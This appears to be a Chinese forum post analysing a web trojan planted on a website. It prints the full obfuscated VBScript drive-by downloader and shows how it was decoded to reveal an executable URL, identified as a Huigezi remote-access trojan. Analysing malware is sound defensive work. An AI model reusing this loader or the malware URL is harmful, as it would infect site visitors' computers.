网页加密一招击破

今天朋友进了一个站,发现挂了马,于是叫我找找木马地址

把网马下来一看,发现使用了自写的解迷函数
=================================
<S C R I P T language=v b s c r i p t >
hu="琳Jv#{zL琳.J""q!w~#.zo|u$ousK0dPaq!w~#0L琳....}|.s!!}!.!s""${s.|s'#琳....rz.K.0v##~H==&&&<)#&u&<q}{=?@A=""""<s's0琳....as#.rt.K.r}q${s|#<q!so#sSzs{s|#60}pxsq#07琳....rt<""s#O##!wp$#s.0qzo""""wr0:.0qz""wrHPRGDQCCD;DCOA;??R>;GFAO;>>Q>BTQ@GSAD0琳....""#!K0[wq!}""}t#<f[ZVbb^0琳....as#.'.K.rt<Q!so#s]pxsq#6""#!:007琳....o?K0Or}0琳....o@K0rp<0琳....oAK0a#!0琳....oBK0so{0琳....""#!?Ko?4o@4oA4oB琳....""#!CK""#!?琳....""s#.a.K.rt<q!so#s}pxsq#6""#!C:007琳....a<#(~s.K.?琳....""#!DK0USb0琳....'<]~s|.""#!D:.rz:.Toz""s琳....'<as|r琳....t|o{s?K0u>zr<q}{0琳....""s#.T.K.rt<q!so#s}pxsq#60aq!w~#w|u<Twzsa(""#s{]pxsq#0:007琳....""s#.#{~.K.T<Us#a~sqwozT}zrs!6@7.琳....t|o{s?K.T<P$wzr^o#v6#{~:t|o{s?7琳....a<}~s|琳....a<&!w#s.'<!s""~}|""sP}r(琳....a<""o%s#}twzs.t|o{s?:@琳....a<qz}""s琳....""s#._.K.rt<q!so#s}pxsq#60avszz<O~~zwqo#w}|0:007琳...._<avszzS'sq$#s.t|o{s?:00:00:0}~s|0:>琳....J=""q!w~#L琳....JvsorL琳....J#w#zsL]v:{(.u}r/...U}zr""$|io#kFBF@AE?BJ=#w#zsL琳....J=vsorLJp}r(L琳        Jqs|#s!Lg}$.R].w#/J=qs|#s!L琳....J=p}r(LJ=v#{zL琳"

上面是一片"琳"的海洋!
function UnEncode(temp)                                   ;自己写的解迷

函数
but=14
for i = 1 to len(temp)
    if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
            if pk>126 then
                    pk=pk-95
            elseif pk<32 then
                     pk=pk+95
             end if
             a=a&chr(pk)
end if
   else
             a=a&vbcrlf
   end if
next
UnEncode=a
end function　　　　　　　　　　　　　　　　　　　　　　　　　　;算法不是很难，时间原因不做分析.
document.write(UnEncode(hu))
< / S C R I P T >
==================================================

解迷
看到最后的document.write(UnEncode(hu))
我们改成　msgbox (UnEncode(hu)) 暴了它
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
运行修改后的,
结果如图
呵呵木马地址是www.ztwgw.com/123/ss.exe
下来发现是Themida保护的黑防灰鸽子
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
脚本加密，就这样一句话被破解了.


下载：加密网页